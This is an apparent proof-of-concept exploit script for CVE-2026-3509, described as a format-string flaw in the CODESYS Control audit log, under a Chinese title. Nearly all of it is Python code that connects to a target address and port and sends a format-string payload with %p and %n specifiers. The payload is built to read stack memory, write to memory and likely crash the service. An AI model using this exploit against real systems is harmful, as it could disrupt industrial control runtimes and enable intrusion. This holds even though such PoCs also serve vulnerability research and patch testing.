CVE-2026-3509 CODESYS Control审计日志格式化字符串漏洞

# PoC for CVE-2026-3509: Format String in Audit Log # Description: Sends a malicious format string payload to the target service. import socket def send_exploit(target_ip, target_port): # Malicious payload containing format specifiers # %s reads from stack, %n writes to memory (likely causing crash) payload = b"AAAA%p%p%p%p%n%n%n" try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) print("[*] Sending malicious payload...") s.send(payload) response = s.recv(1024) print(f"[+] Received response (might be empty if crashed): {response}") s.close() print("[+] Exploit packet sent.") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "192.168.1.10" TARGET_PORT = 1212 send_exploit(TARGET_IP, TARGET_PORT)